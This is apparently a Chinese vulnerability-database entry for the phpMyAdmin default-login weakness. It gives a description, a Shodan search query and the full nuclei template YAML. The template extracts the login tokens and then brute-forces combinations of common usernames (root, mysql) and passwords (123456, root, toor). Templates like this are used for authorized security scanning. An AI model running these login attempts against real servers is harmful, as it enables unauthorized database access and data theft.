phpMyAdmin 默认登录漏洞

漏洞信息

漏洞名称: phpMyAdmin 默认登录漏洞

漏洞类型: 弱口令

漏洞等级: 高危

漏洞描述: phpMyAdmin是一个广泛使用的开源数据库管理工具,主要用于通过Web界面管理MySQL数据库。它通常部署在Web服务器上,供开发者和数据库管理员使用,因其易用性和功能强大而受到欢迎。该工具在多种环境中都有部署,包括个人网站、企业级应用等。

该漏洞属于默认登录凭证问题,具体表现为phpMyAdmin安装后保留了默认的用户名和密码,如’root’和’123456’等。攻击者可以利用这些默认凭证尝试登录系统,无需任何认证即可访问数据库管理界面。这种漏洞的根源在于安装或配置过程中未强制要求更改默认登录信息,导致安全措施不足。

成功利用此漏洞的攻击者可以完全控制phpMyAdmin界面,进而执行包括查看、修改、删除数据库内容在内的各种操作,甚至可能通过数据库功能进一步攻击服务器。由于这是一个无需认证的漏洞,攻击门槛极低,且可以自动化执行,因此对使用phpMyAdmin的系统构成了严重威胁。特别是对于那些暴露在互联网上的phpMyAdmin实例,风险更为显著。

产品厂商: phpmyadmin

产品名称: phpMyAdmin

影响版本: *

搜索语法: http.title:phpMyAdmin

来源: https://github.com/projectdiscovery/nuclei-templates/blob/b7c60754265d41e02af8d5ea7c8a40acba9a6233/http%2Fdefault-logins%2Fphpmyadmin%2Fphpmyadmin-default-login.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81

id: phpmyadmin-default-login

info:
name: phpMyAdmin - Default Login
author: Natto97,notwhy
severity: high
description: phpMyAdmin contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
reference:
- https://www.phpmyadmin.net
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 16
shodan-query: http.title:phpMyAdmin
product: phpmyadmin
vendor: phpmyadmin
tags: default-login,phpmyadmin

http:
- raw:
- |
GET /index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: phpMyAdmin={{token2}}; pma_lang=en

set_session={{session}}&pma_username={{user}}&pma_password={{password}}&server=1&route=%2F&token={{token}}

attack: clusterbomb
payloads:
user:
- root
- mysql
password:
- 123456
- root
- mysql
- toor

extractors:
- type: regex
name: token
internal: true
group: 1
regex:
- 'name="token" value="([0-9a-z]+)"'

- type: regex
name: token2
internal: true
group: 1
regex:
- 'name="set_session" value="([0-9a-z]+)"'

- type: regex
name: session
part: header
internal: true
group: 2
regex:
- "phpMyAdmin(_https)?=([0-9a-z]+)" # for HTTPS
stop-at-first-match: true

matchers-condition: and
matchers:
- type: dsl
dsl:
- contains(header_2, "phpMyAdmin=") && contains(header_2, "pmaUser-1=")
- status_code_2 == 302
- contains(header_2, 'index.php?collation_connection=utf8mb4_unicode_ci') || contains(header_2, '/index.php?route=/&route=%2F')
condition: and
# digest: 4a0a00473045022038a1ab30c31196ddc1edbc910a39c188c63fc5b33382ae46959c949be6ac8031022100b9122b7ddb6e5803618633c5f882bc227c75c2f8927333650ff7f82314868443:922c64590222798bb761d5b6d8e72950